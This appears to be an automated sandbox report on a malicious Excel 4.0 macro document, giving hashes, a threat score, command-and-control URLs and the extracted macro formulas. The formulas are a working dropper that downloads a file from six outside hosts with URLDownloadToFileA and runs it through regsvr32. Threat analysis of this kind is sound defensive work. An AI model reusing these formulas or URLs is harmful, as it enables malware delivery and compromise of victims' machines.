b1ba853ab9b74a3f7c0eb2d6744283b199958ce6a9df158f59e5cbbfc871909f

General

Target

b1ba853ab9b74a3f7c0eb2d6744283b199958ce6a9df158f59e5cbbfc871909f
Size

46KB
Sample

241120-1ng56aymgl
MD5

22f5b9fc5ee9e5796037809a2a9dcdb2
SHA1

b03032cae9f0bcce36ecf37e5a48b5e4dfbde2f6
SHA256

b1ba853ab9b74a3f7c0eb2d6744283b199958ce6a9df158f59e5cbbfc871909f
SHA512

cee8a7db8214ccca83e68f22659a34e07b15d45db335ac5f2694d5a7a6a6add1621f2f628305fb6b226274e8d5445097437b02a830a8d9da0ea9d830611bb0ff
SSDEEP

768:1GovDOevZCwrvtBtfzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2fUPZa:0ovDztT5fTR4Lh1NisFYBc3cr+UqVU5c

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://touqarrayan.com/wp-content/RoiB/

http://nayzaqaljanoob-iq.com/sapbush/tylhe1/

http://cabinet-bribech.com/wp/DyMNglRY5B4abPy1hH/

http://retailhpsinterview.com/cgi-bin/dJp9RYh/

https://lisalmcgee.com/images/xpl7i1ETzHPwaFd89HS/

https://collision-staging.com/wp-content/94PQ1/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://touqarrayan.com/wp-content/RoiB/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://nayzaqaljanoob-iq.com/sapbush/tylhe1/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://cabinet-bribech.com/wp/DyMNglRY5B4abPy1hH/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://retailhpsinterview.com/cgi-bin/dJp9RYh/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lisalmcgee.com/images/xpl7i1ETzHPwaFd89HS/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://collision-staging.com/wp-content/94PQ1/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://touqarrayan.com/wp-content/RoiB/

xlm40.dropper

http://nayzaqaljanoob-iq.com/sapbush/tylhe1/

xlm40.dropper

http://cabinet-bribech.com/wp/DyMNglRY5B4abPy1hH/

xlm40.dropper

http://retailhpsinterview.com/cgi-bin/dJp9RYh/

xlm40.dropper

https://lisalmcgee.com/images/xpl7i1ETzHPwaFd89HS/

xlm40.dropper

https://collision-staging.com/wp-content/94PQ1/